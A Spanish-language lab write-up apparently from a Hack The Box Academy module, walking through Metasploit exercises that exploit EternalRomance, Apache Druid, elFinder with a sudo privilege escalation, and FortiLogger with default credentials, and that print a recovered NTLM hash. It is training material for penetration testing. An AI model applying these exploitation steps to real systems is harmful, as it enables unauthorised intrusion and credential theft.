Using the Metasploit Framework
Overview
En principio se explica qué es Metasploit y cómo utilizarlo para realizar pruebas de seguridad. Esta herramienta cuenta con una gran cantidad de módulos que automatizan la explotación de un sistema. A lo largo de sus secciones, vamos viendo componentes y funcionalidades clave de Metasploit, como los plugins, los payloads, los encoders, los scripts, etc.
Tiene unos cuantos ejercicios para poner en práctica lo visto. De esta forma aprendí a buscar exploits para una vulnerabilidad o un servicio en concreto, seleccionar el módulo, ver información adicional sobre ese módulo, especificar el target, lanzar el exploit y entablar una shell.
Una cuestión sobre la que se enfatiza desde el principio es la importancia de tomar a Metasploit o cualquier otra herramienta automatizada como una herramienta más y así evitar caer en una visión en túnel que nos lleve a pensar que "si la herramienta no puede hacerlo, entonces yo tampoco puedo".
Introduction to Metasploit
Esta primera parte cuenta con dos preguntas teóricas:
¿Qué versión de Metasploit viene equipada con una interfaz GUI?
Se trata de Metasploit Pro.
¿Qué comando se usa para interactuar con la versión gratuita de Metasploit?
El comando es msfconsole.
Modules
El ejercicio de esta sección consiste en utilizar Metasploit para explotar la máquina víctima con el EternalRomance y encontrar el archivo flag.txt en el escritorio del usuario Administrator. Se trata de una máquina Windows.
Primero desplegamos el target y la Pwnbox. Luego, iniciamos Metasploit con el comando msfconsole y buscamos por la vulnerabilidad EternalRomance con search.

Tenemos dos resultados, vamos a utilizar el primer exploit que está identificado con el número 0.
[msf](Jobs:0 Agents:0) >> use 0Con el comando show options podemos ver qué información necesitamos pasarle para poder ejecutarlo.

En este caso, vamos a pasarle nuestra IP de atacante como LHOST y la IP de la máquina víctima como RHOST.
>> set LHOST 10.10.15.21
LHOST => 10.10.15.21
>> set RHOST 10.129.2.141
RHOST => 10.129.2.141Para obtener nuestra IP, ejecutamos un ifconfig y nos quedamos con la interfaz tun0 que corresponde a la VPN de HTB.
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 209.151.150.5 netmask 255.255.252.0 broadcast 209.151.151.255
inet6 fe80::a4ba:3bff:fe08:2930 prefixlen 64 scopeid 0x20<link>
ether a6:ba:3b:08:29:30 txqueuelen 1000 (Ethernet)
RX packets 214660 bytes 137376016 (131.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 168049 bytes 262688896 (250.5 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 321199 bytes 267436240 (255.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 321199 bytes 267436240 (255.0 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.15.21 netmask 255.255.254.0 destination 10.10.15.21
inet6 fe80::3113:d0bb:6ef7:acee prefixlen 64 scopeid 0x20<link>
inet6 dead:beef:2::1113 prefixlen 64 scopeid 0x0<global>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500
(UNSPEC)
RX packets 865 bytes 661158 (645.6 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 901 bytes 488710 (477.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Una vez hecho esto, corremos el exploit con run y obtenemos una sesión de Meterpreter.

Retrocedemos dos directorios hacia atrás para llegar a la raíz y listamos el contenido.

Nos movemos al directorio Users y volvemos a ver qué hay dentro.

Nos metemos al directorio del usuario Administrator.

Luego nos metemos a Desktop, donde podemos ver la flag.

Payloads
En este otro ejercicio, tenemos que explotar el servicio Apache Druid y encontrar la flag.txt. A diferencia de la anterior, esta es una máquina Linux.
De nuevo, arrancamos Metasploit con msfconsole.
Buscamos por vulnerabilidades asociadas al Apache Druid y seleccionamos el primer exploit.

Revisamos lo que nos solicita el exploit con show options.

Indicamos el LHOST y el RHOST.
>> set LHOST 10.10.15.38
LHOST => 10.10.15.38
>> set RHOST 10.129.203.52
RHOST => 10.129.203.52Y finalmente corremos el exploit con run.

Nos movemos al directorio raíz y visualizamos la flag.

Sessions & Jobs
La máquina corre una aplicación web específica que podemos determinar mirando su código fuente. Para eso, lanzamos un cURL a la IP, en el title vemos el nombre de la aplicación: elFinder.
$ curl 10.129.139.23
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<title>elFinder 2.1.x source version with PHP connector</title>Ahora hay que encontrar un exploit en MSF para obtener una shell. Iniciamos Metasploit y buscamos por vulnerabilidades de elFinder.

En este caso, probamos con el exploit 3, vemos sus opciones.

Configuramos el LHOST y el RHOST:
>> set LHOST 10.10.15.38
LHOST => 10.10.15.38
>> set RHOST 10.129.139.23
RHOST => 10.129.139.23Corremos el exploit con run y obtenemos la sesión de Meterpreter.

Ejecutamos el comando shell para que nos otorgue una consola. Obtenemos la shell como el usuario que estaba corriendo el servicio web: www-data.

El sistema tiene una versión antigua de sudo, tenemos que encontrar el exploit correspondiente para escalar privilegios y convertirnos en root.
Lo primero que hice fue averiguar la versión de sudo.

Luego puse la sesión en segundo plano con CTRL + Z. Con sessions se pueden listar las sesiones que están abiertas.

Busqué vulnerabilidades para esa versión en concreto de sudo.

Con show options revisé qué información necesitaba para lanzar este módulo post-explotación.

Tuve que indicar la sesión y el LHOST.
>> set SESSION 1
SESSION => 1
>> set LHOST 10.10.15.38
LHOST => 10.10.15.38Lancé el exploit.

Y me otorgó una shell como root.

Retrocedí un directorio para llegar a la raíz y listé el contenido.

Me moví al directorio root y ahí estaba la flag.

Meterpreter
Tenemos que encontrar un exploit que nos permita ganar acceso al sistema, no tenemos más información que esa. Así que lo más conveniente es lanzar un escaneo de puertos con nmap para ver qué servicios están expuestos y cuáles pueden tener vulnerabilidades.
$ nmap -sCV -n -v -T5 10.129.203.65
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WIN-51BJ97BCIPV
| Issuer: commonName=WIN-51BJ97BCIPV
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-15T20:27:32
| Not valid after: 2024-08-16T20:27:32
| MD5: e60d3ef1e5ae9a0e23a244e589cfebb0
|_SHA-1: 50588057c1116bc3bd6cde22b962f64c1a047ee8
|_ssl-date: 2024-02-16T20:53:09+00:00; +1s from scanner time.
| rdp-ntlm-info:
| Target_Name: WIN-51BJ97BCIPV
| NetBIOS_Domain_Name: WIN-51BJ97BCIPV
| NetBIOS_Computer_Name: WIN-51BJ97BCIPV
| DNS_Domain_Name: WIN-51BJ97BCIPV
| DNS_Computer_Name: WIN-51BJ97BCIPV
| Product_Version: 10.0.17763
|_ System_Time: 2024-02-16T20:53:02+00:00
5000/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: FortiLogger | Log and Report System
|_http-server-header: Microsoft-IIS/10.0
|_http-favicon: Unknown favicon MD5: E4B674BE34803DBC1F1D53737A490D0C
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsEn el puerto 5000 me llamó la atención que estuviera FortiLogger. Busqué información y resulta que es una herramienta desarrollada por Fortinet que se utiliza comúnmente para el monitoreo y la generación de informes de eventos en entornos de seguridad de red.
Accedemos al servicio web por un navegador y nos encontramos con un panel de inicio de sesión.

Probamos credenciales típicas, de las cuales admin:admin resultan ser correctas.
Así se ve la interfaz; si hacemos click en el ícono de información que está enmarcado, veremos la versión.


Busqué vulnerabilidades asociadas a esta aplicación con Metasploit y encontré una.

Estos son los requerimientos para lanzar el exploit.

Añadí el LHOST y el RHOST.
>> set LHOST 10.10.15.38
LHOST => 10.10.15.38
>> set RHOST 10.129.203.65
RHOST => 10.129.203.65Corrí el exploit y obtuve una shell como el usuario NT AUTHORITY\SYSTEM.

Lo que queda es encontrar el hash NTLM para el usuario htb-student. Para eso, desde Meterpreter ejecuté este comando:

El hash NTLM es el siguiente: cf3a5525ee9414229e66279623ed5c58.
Last updated